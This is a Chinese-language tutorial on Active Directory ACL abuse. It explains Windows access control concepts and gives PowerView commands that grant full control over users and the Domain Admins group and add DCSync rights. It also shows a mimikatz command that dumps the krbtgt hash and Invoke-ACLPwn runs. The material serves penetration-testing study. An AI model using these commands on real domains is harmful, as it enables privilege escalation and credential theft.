域内ACL攻防
域内ACL攻防
windows 访问控制模型
在 Active Directory 中设置权限,其方式与在文件中设置权限的方式几乎相同。权限控制都是使用windows 访问控制模型。
windows 访问控制模型是由两部分组成。
访问令牌(Access Token)
包含用户的标识(User SID,Group SIDS),以及特权列表。
安全描述符(security identifiers)。
被访问的安全对象的相关安全信息。
这里的安全对象包括但不限于
- NTFS卷上的文件和目录
- 注册表项
- 网络共享
- 服务
- Active Directory对象
- 进程等等
Access Token
当线程与安全对象交互或尝试执行需要特权的系统任务时,系统使用访问令牌来标识用户,访问令牌包括用户的SID、所在组的SID等等信息
Security Descriptors安全描述符
SID(Security Identifiers)即安全描述符。
安全描述符标识对象的所有者,并包含以下访问控制列表:
1、Discretionary Access Control List (DACL) 自由访问控制列表
2、System Access Control List (SACL) 系统访问控制列表
每一种控制列表中都存在若干条ACE(Access Control Entries)
安全描述符由Header、SID和DACL、SACL组成
查看domain user属性-->安全-->高级
高级安全设置中的权限就是DACL的列表
高级安全设置中的审核就是SACL的列表
其中红色圈出来的每一条都是一条ACE
ACE是针对特定用户或特定组的单个权限授予(或拒绝权利)的配置结构。ACE有许多不同类型,但是在Active Directory的权限中,只有四种不同的含义,两种分别用于授予和拒绝权限。
Access Mask
Access Mask在ACE中有Access Mask这个字段,它代表着此条ACE所对应的权限,比如完全控制(GenericAll)、修改密码(ResetPassword)、写入属性(WriteMembers)等等。
Trustees
Trustees的意思为受委托人,受托者是一个ACE所应用到的用户账户,组账户或者是登录会话。也就是说,谁是某一个ACE的受托者,那么这条ACE中的Access Mask所对应的权限(可能是拒绝可能是通过)就会赋予受托者。比如下面这一条的受委托人实际上就是zhangs账号。
域里常见可利用的ACL
- GenericAll :拥有一个可以完全控制用户/组的权限
- GenericWrite :此权限能够更新目标对象的属性值
- Self-Membership :这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象)
- WriteProperty :WriteProperty直译为写所有权。这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限
- WriteOwner :WriteProperty on Group说的是对一个组具有WriteProperty权限的情况下,“写入全部属性”除了WriteProperty还包括了其他的权限
- WriteDacl :WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利。
GenericAll
Add-DomainObjectAcl -TargetIdentity testuser -PrincipalIdentity test2user -Rights All
-Verbose
给予了test2user对testuser用户完全控制的权限,在查看testuser的时候可以发现test2user的SID在查询里出现
也可以对一个组进行设置
powerview将yayi用户添加到domain admins用户添加
Add-DomainObjectAcl -TargetIdentity "domain admins" -PrincipalIdentity test2user -Ri
ghts all -Verbose
这样的话可以用test2用户控制domain admins用户组
GenericWrite
GenericWrite也是在Access Mask中进行标识,此权限能够更新目标对象的属性值,可以使用PowerView中的Set-DomainObject方法设置目标属性的值。
WriteDacl
WriteDacl允许委托人修改受影响对象的DACL。这意味着攻击者可以添加或删除特定的访问控制项,从而使他们可以授予自己对对象的完全访问权限。因此,WriteDacl是在链中启用其他权利的权利。
Self-Membership
这条权限指的是某个账户能够把自身添加到某个组的权限(需要在某个组的高级权限中添加ACE,也就是说针对的是组对象)
重点:主体、添加/删除自身作为成员
Add-DomainObjectAcl -TargetIdentity "dnsadmins" -PrincipalIdentity test2user -Rights
all -Verbose
Add-DomainObjectAcl -TargetIdentity "dnsadmins" -PrincipalIdentity test2user -Rights
all -Verbose
WriteProperty (Self-Membership)
WriteProperty直译为写所有权。这个权限利用针对的对象为组对象,能够赋予账户对于某个组的可写权限,在Domain Admins组里设置zhangs账户的WriteProperty权限:
WriteProperty on Group
WriteProperty还包括了其他的权限:
CreateChild, DeleteChild, Self, WriteProperty, ExtendedRight, GenericRead, WriteDacl, WriteOwner
设置一个组的写入全部属性
(相当于获取了这个组的所有权限)
在Domain Admins组的列表中添加写入全部属性,会生成一条新的ACE
ACL攻击方式
DCSync权限
使用dcsync获取dump 域hash需要域对象或者是域内的高权限组中有以下三种权限的其中一个:
- 复制目录更改 Replicating Directory Changes (DS-Replication-Get-Changes)
- 复制目录更改所有 Replicating Directory Changes All (DS-Replication-Get-Changes-All)(Exchange用的就是这个)
- 正在复制筛选集中的目录更改 Replicating Directory Changes In Filtered Set (rare, only required in some environments)
用户添加DCSync权限
Add-DomainObjectAcl -TargetIdentity "DC=nncm,DC=com" -PrincipalIdentity test2user -Ri
ghts DCSync
mimikatz.exe "lsadump::dcsync /user:nncm\krbtgt" "exit"
Invoke-ACLpwn
https://github.com/fox-it/Invoke-ACLPwn
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -NoDCSync
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -userAccountToPwn 'Administrator'
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -LogToFile
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -NoSecCleanup
./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'testuser' -Domain 'xenoflux.local' -Password 'Welcome01!'